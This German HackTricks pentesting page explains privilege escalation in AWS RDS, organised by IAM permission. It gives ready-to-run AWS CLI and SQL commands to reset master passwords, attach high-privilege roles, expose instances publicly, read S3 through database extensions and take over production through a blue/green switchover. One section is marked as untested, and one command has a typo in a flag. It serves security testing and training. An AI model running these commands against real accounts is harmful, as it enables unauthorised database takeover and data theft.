AWS - RDS Privesc

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

RDS - Relational Database Service

Für weitere Informationen zu RDS siehe:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Mit dieser Berechtigung kann ein Angreifer das Passwort des Master-Benutzers ändern, und den Login innerhalb der Datenbank anpassen:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Warning

Sie müssen in der Lage sein, eine Verbindung zur Datenbank herzustellen (sie sind normalerweise nur aus internen Netzwerken erreichbar).

Potenzielle Auswirkung: Sensible Informationen in den Datenbanken finden.

rds-db:connect

Laut den docs könnte ein Benutzer mit dieser Berechtigung eine Verbindung zur DB-Instanz herstellen.

Missbrauch von RDS Role IAM-Berechtigungen

Postgresql (Aurora)

Tip

Wenn Sie SELECT datname FROM pg_database; ausführen und eine Datenbank namens rdsadmin finden, wissen Sie, dass Sie sich in einer AWS postgresql database befinden.

Zuerst können Sie prüfen, ob diese Datenbank verwendet wurde, um auf einen anderen AWS-Dienst zuzugreifen. Sie können dies überprüfen, indem Sie sich die installierten Erweiterungen ansehen:

SELECT * FROM pg_extension;

Wenn du etwas wie aws_s3 findest, kannst du davon ausgehen, dass diese Datenbank eine Art Zugriff auf S3 hat (es gibt andere Erweiterungen wie aws_ml und aws_lambda).

Wenn du außerdem die Berechtigung hast, aws rds describe-db-clusters auszuführen, kannst du dort im Feld AssociatedRoles sehen, ob der Cluster eine IAM Role angehängt hat. Falls ja, kannst du davon ausgehen, dass die Datenbank dazu vorbereitet wurde, auf andere AWS-Services zuzugreifen. Anhand des Namens der Role (oder falls du die Berechtigungen der Role ermitteln kannst) könntest du vermuten, welche zusätzlichen Zugriffe die Datenbank hat.

Um nun eine Datei in einem Bucket zu lesen, musst du den vollständigen Pfad kennen. Du kannst sie mit:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Wenn du über raw AWS credentials verfügtest, könntest du sie auch verwenden, um mit folgendem auf S3-Daten zuzugreifen:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Note

Postgresql muss keine Variable der Parametergruppe ändern, um auf S3 zugreifen zu können.

Mysql (Aurora)

Tip

Innerhalb eines mysql, wenn Sie die Abfrage SELECT User, Host FROM mysql.user; ausführen und es gibt einen Benutzer namens rdsadmin, können Sie davon ausgehen, dass Sie sich in einer AWS RDS mysql db befinden.

Innerhalb des mysql führen Sie show variables; aus und wenn Variablen wie aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role Werte haben, können Sie davon ausgehen, dass die Datenbank zum Zugriff auf S3-Daten vorbereitet ist.

Außerdem, wenn Sie Berechtigungen haben, aws rds describe-db-clusters auszuführen, können Sie prüfen, ob der Cluster eine zugeordnete Rolle hat, was normalerweise Zugriff auf AWS-Services bedeutet).

Jetzt, um eine Datei in einem Bucket zu lesen müssen Sie den vollständigen Pfad kennen. Sie können sie lesen mit:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Ein Angreifer mit den Berechtigungen rds:AddRoleToDBCluster und iam:PassRole kann einer bestehenden RDS-Instanz eine angegebene Rolle hinzufügen. Dadurch könnte der Angreifer auf sensible Daten zugreifen oder die Daten innerhalb der Instanz verändern.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Mögliche Auswirkungen: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS-Instanz.
Beachte, dass einige DBs zusätzliche Konfigurationen erfordern, wie z. B. Mysql, bei denen die role ARN auch in den Parametergruppen angegeben werden muss.

rds:CreateDBInstance

Allein mit dieser Berechtigung könnte ein Angreifer eine neue Instanz innerhalb eines Clusters erstellen, das bereits existiert und eine IAM role angehängt hat. Er kann das Passwort des Master-Benutzers nicht ändern, könnte die neue Datenbankinstanz jedoch dem Internet aussetzen:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

Note

TODO: Testen

Ein Angreifer mit den Berechtigungen rds:CreateDBInstance und iam:PassRole kann eine neue RDS-Instanz mit einer angegebenen Rolle erstellen. Der Angreifer kann dann möglicherweise auf sensible Daten zugreifen oder die Daten innerhalb der Instanz verändern.

Warning

Einige Anforderungen an das anzuhängende role/instance-profile (aus here):

  • Das Profil muss in Ihrem Konto vorhanden sein.
  • Das Profil muss eine IAM-Rolle haben, die Amazon EC2 übernehmen darf.
  • Der Name des instance profile und der zugehörige IAM-Rollenname müssen mit dem Präfix AWSRDSCustom .
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Potentielle Auswirkungen: Zugriff auf vertrauliche Daten oder unautorisierte Änderungen der Daten in der RDS-Instanz.

rds:AddRoleToDBInstance, iam:PassRole

Ein Angreifer mit den Berechtigungen rds:AddRoleToDBInstance und iam:PassRole kann eine angegebene Rolle zu einer bestehenden RDS-Instanz hinzufügen. Dadurch könnte der Angreifer auf vertrauliche Daten zugreifen oder die Daten innerhalb der Instanz verändern.

Warning

Die DB-Instanz muss sich dafür außerhalb eines Clusters befinden.

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Mögliche Auswirkungen: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS-Instanz.

rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment

Ein Angreifer mit diesen Berechtigungen kann eine Produktionsdatenbank (Blue) klonen, der Kopie (Green) eine hochprivilegierte IAM-Rolle zuweisen und dann den Switchover verwenden, um die Produktionsumgebung zu ersetzen. Dadurch kann der Angreifer die Privilegien der Datenbank erhöhen und sich unbefugten Zugriff auf andere AWS-Ressourcen verschaffen.

# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>

# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>

# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>

Mögliche Auswirkungen: Vollständige Übernahme der Produktionsdatenbankumgebung. Nach der Umschaltung arbeitet die Datenbank mit erhöhten Rechten, wodurch unberechtigter Zugriff auf andere AWS-Services (z. B. S3, Lambda, Secrets Manager) von innerhalb der Datenbank möglich ist.

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks